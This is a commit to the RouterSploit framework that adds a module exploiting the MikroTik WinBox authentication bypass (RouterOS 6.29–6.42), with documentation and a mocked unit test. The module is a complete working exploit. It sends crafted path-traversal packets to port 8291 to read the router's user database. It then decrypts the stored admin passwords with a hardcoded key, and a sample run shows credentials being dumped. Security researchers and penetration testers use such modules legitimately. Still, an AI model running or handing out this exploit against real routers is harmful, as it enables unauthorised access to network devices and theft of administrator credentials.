Mikrotik Winbox AuthBypass Creds Disclosure (#479)

* Initial Mikrotik WinBox AuthBypass Creds Disclosure exploit

* Adding tests and docs

docs/modules/exploits/routers/mikrotik/winbox_auth_bypass_creds_disclosure.md

+## Description
+
+Module bypass authentication through WinBox service in Mikrotik devices version from 6.29 (release date: 2015/28/05) to 6.42 (release date 2018/04/20) and retrieves administrative credentials.
+
+## Verification Steps
+
+  1. Start `./rsf.py`
+  2. Do: `use exploits/routers/mikrotik/winbox_auth_bypass_creds_disclosure`
+  3. Do: `set target [TargetIP]`
+  4. Do: `run`
+  5. If device is vulnerable administrative credentials are returned.
+
+## Scenarios
+
+```
+rsf > use exploits/routers/mikrotik/winbox_auth_bypass_creds_disclosure
+rsf (Mikrotik WinBox Auth Bypass - Creds Disclosure) > set target 192.168.1.1
+[+] target => 192.168.1.1
+rsf (Mikrotik WinBox Auth Bypass - Creds Disclosure) > run
+[*] Running module...
+[*] Connection established
+[+] Target seems to be vulnerable
+[*] Dumping credentials
+
+   Username     Password
+   --------     --------
+   user1        test
+   admin        admin
+   admin        admin
+
+```

routersploit/modules/exploits/routers/mikrotik/winbox_auth_bypass_creds_disclosure.py

+from hashlib import md5
+
+from routersploit.core.exploit import *
+from routersploit.core.tcp.tcp_client import TCPClient
+
+
+class Exploit(TCPClient):
+    __info__ = {
+        "name": "Mikrotik WinBox Auth Bypass - Creds Disclosure",
+        "description": "Module bypass authentication through WinBox service in Mikrotik devices "
+                       "versions from 6.29 (release date: 2015/28/05) to 6.42 (release date 2018/04/20) "
+                       "and retrieves administrative credentials.",
+        "authors": (
+            "Alireza Mosajjal",  # vulnerability discovery, poc exploit
+            "Mostafa Yalpaniyan",  # vulnerablity discovery, poc exploit
+            "Marcin Bury <marcin[at]threat9.com>",  # routersploit module
+        ),
+        "references": (
+            "https://n0p.me/winbox-bug-dissection/",
+            "https://github.com/BasuCert/WinboxPoC",
+        ),
+        "devices": (
+            "Mikrotik RouterOS versions from 6.29 (release date: 2015/28/05) to 6.42 (release date 2018/04/20)",
+        )
+    }
+
+    target = OptIP("", "Target IPv4 or IPv6 address")
+    port = OptPort(8291, "Target WinBox service")
+
+    def __init__(self):
+        self.packet_a = (
+            b"\x68\x01\x00\x66\x4d\x32\x05\x00\xff\x01\x06\x00\xff\x09\x05\x07"
+            b"\x00\xff\x09\x07\x01\x00\x00\x21\x35\x2f\x2f\x2f\x2f\x2f\x2e\x2f"
+            b"\x2e\x2e\x2f\x2f\x2f\x2f\x2f\x2f\x2e\x2f\x2e\x2e\x2f\x2f\x2f\x2f"
+            b"\x2f\x2f\x2e\x2f\x2e\x2e\x2f\x66\x6c\x61\x73\x68\x2f\x72\x77\x2f"
+            b"\x73\x74\x6f\x72\x65\x2f\x75\x73\x65\x72\x2e\x64\x61\x74\x02\x00"
+            b"\xff\x88\x02\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01\x00\xff\x88"
+            b"\x02\x00\x02\x00\x00\x00\x02\x00\x00\x00"
+        )
+
+        self.packet_b = (
+            b"\x3b\x01\x00\x39\x4d\x32\x05\x00\xff\x01\x06\x00\xff\x09\x06\x01"
+            b"\x00\xfe\x09\x35\x02\x00\x00\x08\x00\x80\x00\x00\x07\x00\xff\x09"
+            b"\x04\x02\x00\xff\x88\x02\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01"
+            b"\x00\xff\x88\x02\x00\x02\x00\x00\x00\x02\x00\x00\x00"
+        )
+
+    def run(self):
+        creds = self.get_creds()
+        if creds:
+            print_success("Target seems to be vulnerable")
+            print_status("Dumping credentials")
+            print_table(("Username", "Password"), *creds)
+        else:
+            print_error("Exploit failed - target does not seem to be vulnerable")
+
+    @mute
+    def check(self):
+        creds = self.get_creds()
+        if creds:
+            return True  # target is vulnerable
+
+        return False  # target is not vulnerable
+
+    def get_creds(self):
+        creds = []
+        tcp_client = self.tcp_connect()
+
+        self.tcp_send(tcp_client, self.packet_a)
+        data = self.tcp_recv(tcp_client, 1024)
+
+        if not data or len(data) < 39:
+            return None
+
+        packet = self.packet_b[:19] + data[38:39] + self.packet_b[20:]
+
+        self.tcp_send(tcp_client, packet)
+        data = self.tcp_recv(tcp_client, 1024)
+
+        if not data:
+            return None
+
+        self.tcp_close(tcp_client)
+
+        creds = self.get_pair(data)
+        if not creds:
+            return None
+
+        return creds
+
+    def decrypt_password(self, user, pass_enc):
+        key = md5(user + b"283i4jfkai3389").digest()
+
+        passw = ""
+        for i in range(0, len(pass_enc)):
+            passw += chr(pass_enc[i] ^ key[i % len(key)])
+
+        return passw.split("\x00")[0]
+
+    def extract_user_pass_from_entry(self, entry):
+        user_data = entry.split(b"\x01\x00\x00\x21")[1]
+        pass_data = entry.split(b"\x11\x00\x00\x21")[1]
+
+        user_len = user_data[0]
+        pass_len = pass_data[0]
+
+        username = user_data[1:1 + user_len]
+        password = pass_data[1:1 + pass_len]
+
+        return username, password
+
+    def get_pair(self, data):
+        user_list = []
+
+        entries = data.split(b"M2")[1:]
+        for entry in entries:
+            try:
+                user, pass_encrypted = self.extract_user_pass_from_entry(entry)
+            except Exception:
+                continue
+
+            pass_plain = self.decrypt_password(user, pass_encrypted)
+            user = user.decode("ascii")
+
+            user_list.append((user, pass_plain))
+
+        return user_list

tests/exploits/routers/mikrotik/test_winbox_auth_bypass_creds_disclosure.py

+from routersploit.modules.exploits.routers.mikrotik.winbox_auth_bypass_creds_disclosure import Exploit
+
+
+def test_check_success(tcp_target):
+    command_mock1 = tcp_target.get_command_mock(
+        b"\x68\x01\x00\x66\x4d\x32\x05\x00\xff\x01\x06\x00\xff\x09\x05\x07"
+        b"\x00\xff\x09\x07\x01\x00\x00\x21\x35\x2f\x2f\x2f\x2f\x2f\x2e\x2f"
+        b"\x2e\x2e\x2f\x2f\x2f\x2f\x2f\x2f\x2e\x2f\x2e\x2e\x2f\x2f\x2f\x2f"
+        b"\x2f\x2f\x2e\x2f\x2e\x2e\x2f\x66\x6c\x61\x73\x68\x2f\x72\x77\x2f"
+        b"\x73\x74\x6f\x72\x65\x2f\x75\x73\x65\x72\x2e\x64\x61\x74\x02\x00"
+        b"\xff\x88\x02\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01\x00\xff\x88"
+        b"\x02\x00\x02\x00\x00\x00\x02\x00\x00\x00"
+    )
+    command_mock1.return_value = (
+        b"\x37\x01\x00\x35\x4d\x32\x01\x00\xff\x88\x02\x00\x00\x00\x00\x00"
+        b"\x08\x00\x00\x00\x02\x00\xff\x88\x02\x00\x02\x00\x00\x00\x02\x00"
+        b"\x00\x00\x01\x00\xfe\x09\x1b\x03\x00\xff\x09\x02\x02\x00\x00\x08"
+        b"\x36\x01\x00\x00\x06\x00\xff\x09\x05"
+    )
+
+    command_mock2 = tcp_target.get_command_mock(
+        b"\x3b\x01\x00\x39\x4d\x32\x05\x00\xff\x01\x06\x00\xff\x09\x06\x01"
+        b"\x00\xfe\x09\x1b\x02\x00\x00\x08\x00\x80\x00\x00\x07\x00\xff\x09"
+        b"\x04\x02\x00\xff\x88\x02\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01"
+        b"\x00\xff\x88\x02\x00\x02\x00\x00\x00\x02\x00\x00\x00"
+    )
+
+    command_mock2.return_value = (
+        b"\xff\x01\x01\x68\x4d\x32\x01\x00\xff\x88\x02\x00\x00\x00\x00\x00"
+        b"\x08\x00\x00\x00\x02\x00\xff\x88\x02\x00\x02\x00\x00\x00\x02\x00"
+        b"\x00\x00\x04\x00\x00\x01\x03\x00\xff\x09\x02\x06\x00\xff\x09\x06"
+        b"\x03\x00\x00\x30\x36\x01\x57\x00\x4d\x32\x10\x00\x00\xa8\x00\x00"
+        b"\x1c\x00\x00\x01\x0a\x00\xfe\x00\x05\x00\x00\x09\x00\x06\x00\x00"
+        b"\x09\x00\x0b\x00\x00\x08\xfe\xff\x07\x00\x12\x00\x00\x09\x02\x01"
+        b"\x00\xfe\x09\x02\x02\x00\x00\x09\x03\x09\x00\xfe\x21\x00\x11\x00"
+        b"\x00\x21\x10\x76\x08\xc6\x04\x66\xa6\x3d\x2a\xb7\xcd\xec\x68\xe2"
+        b"\x6e\x44\x0e\x01\x00\x00\x21\x05\x75\x73\x65\x72\x31\x6d\x69\x6e"
+        b"\x6a\x00\x4d\x32\x10\x00\x00\xa8\x00\x00\x1c\x00\x00\x01\x0a\x00"
+        b"\xfe\x00\x05\x00\x00\x09\x00\x06\x00\x00\x09\x00\x0b\x00\x00\x08"
+        b"\xfe\xff\x07\x00\x12\x00\x00\x09\x02\x01\x00\xfe\x09\x01\x02\x00"
+        b"\x00\x09\x03\x09\x00\xfe\x21\x13\x73\x79\x73\x74\x65\x6d\x20\x64"
+        b"\x65\x66\x61\x75\x6c\x74\x20\x75\x73\x65\x72\x11\x00\x00\x21\x10"
+        b"\x29\xdb\xb3\x6f\x27\x5a\x0e\x2d\x09\xd5\xfb\x27\xb1\x44\xec\x93"
+        b"\x01\x00\x00\x21\x05\x61\x64\x6d\x69\x6e\x72\x00\x4d\x32\x10\x00"
+        b"\x00\x6b\xff\xa8\x00\x00\x1c\x00\x00\x01\x0a\x00\xfe\x00\x05\x00"
+        b"\x00\x09\x00\x06\x00\x00\x09\x00\x1f\x00\x00\x08\x36\x2b\x35\x5b"
+        b"\x0b\x00\x00\x08\xfe\xff\x07\x00\x12\x00\x00\x09\x02\x01\x00\xfe"
+        b"\x09\x01\x02\x00\x00\x09\x03\x09\x00\xfe\x21\x13\x73\x79\x73\x74"
+        b"\x65\x6d\x20\x64\x65\x66\x61\x75\x6c\x74\x20\x75\x73\x65\x72\x11"
+        b"\x00\x00\x21\x10\x29\xdb\xb3\x6f\x27\x5a\x0e\x2d\x09\xd5\xfb\x27"
+        b"\xb1\x44\xec\x93\x01\x00\x00\x21\x05\x61\x64\x6d\x69\x6e"
+    )
+
+    exploit = Exploit()
+    exploit.target = tcp_target.host
+    exploit.port = tcp_target.port
+
+    assert exploit.check()
+    assert exploit.run() is None